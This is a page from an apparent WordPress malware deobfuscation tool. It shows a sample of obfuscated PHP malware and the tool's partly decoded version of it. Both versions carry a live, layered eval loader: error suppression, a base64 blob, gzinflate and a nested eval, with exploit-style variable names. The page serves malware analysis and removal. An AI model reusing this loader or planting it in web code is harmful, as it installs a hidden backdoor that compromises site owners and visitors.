Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @clearstatcache(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors', 0); $settings="cr"."ea"."te"."_fu"."nction";$x=$settings("\$c","e"."va"."l"."('?>'.ba"."se6"."4_d"."ecode(\$c));");$x("PD9waHAKJFVlWHBsb2lUID0gIlN5...



Obfuscated php code

<?php @clearstatcache(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors', 0); $settings="cr"."ea"."te"."_fu"."nction";$x=$settings("\$c","e"."va"."l"."('?>'.ba"."se6"."4_d"."ecode(\$c));");$x("PD9waHAKJFVlWHBsb2lUID0gIlN5MUx6TkZRS3l6Tkw3RzJWMHN2c1lZdzlZcExpdUtMOGtzTWpUWFNxekx6MG5JU1MxS1x4NDJyTks4NVB6XHg2M2dxTFU0bUxxXHg0M1x4NDNceDYzbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFceDQxTzBzU2kzVFVISE1NOGlMTjY0SXlNblBERWtOMGtRXHg0MzFnXHg0MVx4M2QiOwokQW4wbl8zeFBsb2lUZVIgPSAiXHgzZFx4M2R3cEl3Uzh0SXd3MkpwXHgyYkdpV0p6M254XHg2Mll2ZDdwazJRTzlPMlx4NDFceDYxSDZ5XHgyYk5qMHNJeFx4NDFnOFx4NjJPS1JSNlx4NjM4RVx4NjNyMnZKdzNkXHg0MW9qMXJRMlFOMFZuZ2YxLzNceDYzTktHWlcvVHZtbHdMTlVSMnVRZHUydzR4dXBJTDZsXHg2M09ncmhzdlx4NDFrVjY2djRTRE1Pc1x4NDFzdUlndFx4NDNRU1V6ZTNzb1x4NjJpXHg0MklnXHg2MmdHSGhwXHgyYmVZVVpceDJiTFdceDYzZnRTSHRceDYyeElWVm5ceDYzRUh2U3VuRDRuTjVTZk0vXHg2M0xQa0ovb1x4MmJNaUV6Znc4SE5IOXBceDYzeDFkejFTSFgzVzB1bHBsXHg2MTFVUVk5alx4NDNzWExzWVx4NjJWZURceDQyRFNceDYzTDZHNTRXUVNVRlBscHlrWE8vWWt5WTNLWWo2aW1ndVx4NjFpZUZrM2pZOHZceDYzTlNRWmZwVXlnVk1oblpVR0dceDYyOEhceDQzaWVxbXNceDYxVGVKOUpkRmpkXHg2MzFtcjVKL1IzNmZUa3dmRXNNcW5GNlx4NjJpXHgyYjZ2TXVROUhmXHg0MTdMcGYxclx4NjJoc0g5NVBLZVx4NjJrUEs5VGZceDYyXHg0MnI0SkRtZTNGWjhTOEdceDJiVWl0WWxldTNQXHg2MUpEV0trMTU3bmVceDQyMUVaN1x4NDI4RFx4NDFYRjMyOHU4XHg2M2hnSWZYem9GRzgvcFx4NjN1XHg0MWh4R1JlNVx4NDNJMy96WDdceDQyN3JZUUU0UnlYRU1KajlGaDlceDQxODhJUGV0UXdmVFBNVGhYazZceDQyZlNceDYzZk1nbFx4NDIwZ0dVZWpVXHg0MnZ0ellpMExWR1ZJUVx4NjNlT0Zzb3FceDQxWTJYSlx4NDFJRS96NjdRWHFKSXBsUjRaXHg2MUtsUjdFb240cDBNcmlceDYxOExpT3JEN2VmZFx4NjJmZjkxTjBRT1pmMFx4NjI2SHRSMjB6XHgyYmUvbnFVc05WbkdOXHg0MURJUW9JTnNKTkR4ZVRXXHg0MncxSUxSVFAwZXM1aVprS1FceDQxN2ZsUHkzSERceDQyTVx4NjJceDJiMjNUMnUvXHg2MUVRNVx4NDJ3SmVceDJiL1FceDQxd0hnL0tFUTlceDQyd0plOS92XHg0MVx4NDFFUS82TFFceDQyXHg0MndKZTkvdVx4NDFRRVEvcUxRRlx4NDJ3SmUiOwpldmFsKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRVZVhwbG9pVCkpKSk7CmV4aXQ7Cj8+");exit;

Decoded(de-Obfuscated) php code

<?php

@clearstatcache();
@set_time_limit(0);
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);
$settings = "create_function";
$x = function ($c) {
    eval('?>' . base64_decode($c));
};
$x("PD9waHAKJFVlWHBsb2lUID0gIlN5MUx6TkZRS3l6Tkw3RzJWMHN2c1lZdzlZcExpdUtMOGtzTWpUWFNxekx6MG5JU1MxS1x4NDJyTks4NVB6XHg2M2dxTFU0bUxxXHg0M1x4NDNceDYzbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFceDQxTzBzU2kzVFVISE1NOGlMTjY0SXlNblBERWtOMGtRXHg0MzFnXHg0MVx4M2QiOwokQW4wbl8zeFBsb2lUZVIgPSAiXHgzZFx4M2R3cEl3Uzh0SXd3MkpwXHgyYkdpV0p6M254XHg2Mll2ZDdwazJRTzlPMlx4NDFceDYxSDZ5XHgyYk5qMHNJeFx4NDFnOFx4NjJPS1JSNlx4NjM4RVx4NjNyMnZKdzNkXHg0MW9qMXJRMlFOMFZuZ2YxLzNceDYzTktHWlcvVHZtbHdMTlVSMnVRZHUydzR4dXBJTDZsXHg2M09ncmhzdlx4NDFrVjY2djRTRE1Pc1x4NDFzdUlndFx4NDNRU1V6ZTNzb1x4NjJpXHg0MklnXHg2MmdHSGhwXHgyYmVZVVpceDJiTFdceDYzZnRTSHRceDYyeElWVm5ceDYzRUh2U3VuRDRuTjVTZk0vXHg2M0xQa0ovb1x4MmJNaUV6Znc4SE5IOXBceDYzeDFkejFTSFgzVzB1bHBsXHg2MTFVUVk5alx4NDNzWExzWVx4NjJWZURceDQyRFNceDYzTDZHNTRXUVNVRlBscHlrWE8vWWt5WTNLWWo2aW1ndVx4NjFpZUZrM2pZOHZceDYzTlNRWmZwVXlnVk1oblpVR0dceDYyOEhceDQzaWVxbXNceDYxVGVKOUpkRmpkXHg2MzFtcjVKL1IzNmZUa3dmRXNNcW5GNlx4NjJpXHgyYjZ2TXVROUhmXHg0MTdMcGYxclx4NjJoc0g5NVBLZVx4NjJrUEs5VGZceDYyXHg0MnI0SkRtZTNGWjhTOEdceDJiVWl0WWxldTNQXHg2MUpEV0trMTU3bmVceDQyMUVaN1x4NDI4RFx4NDFYRjMyOHU4XHg2M2hnSWZYem9GRzgvcFx4NjN1XHg0MWh4R1JlNVx4NDNJMy96WDdceDQyN3JZUUU0UnlYRU1KajlGaDlceDQxODhJUGV0UXdmVFBNVGhYazZceDQyZlNceDYzZk1nbFx4NDIwZ0dVZWpVXHg0MnZ0ellpMExWR1ZJUVx4NjNlT0Zzb3FceDQxWTJYSlx4NDFJRS96NjdRWHFKSXBsUjRaXHg2MUtsUjdFb240cDBNcmlceDYxOExpT3JEN2VmZFx4NjJmZjkxTjBRT1pmMFx4NjI2SHRSMjB6XHgyYmUvbnFVc05WbkdOXHg0MURJUW9JTnNKTkR4ZVRXXHg0MncxSUxSVFAwZXM1aVprS1FceDQxN2ZsUHkzSERceDQyTVx4NjJceDJiMjNUMnUvXHg2MUVRNVx4NDJ3SmVceDJiL1FceDQxd0hnL0tFUTlceDQyd0plOS92XHg0MVx4NDFFUS82TFFceDQyXHg0MndKZTkvdVx4NDFRRVEvcUxRRlx4NDJ3SmUiOwpldmFsKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRVZVhwbG9pVCkpKSk7CmV4aXQ7Cj8+");
exit;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.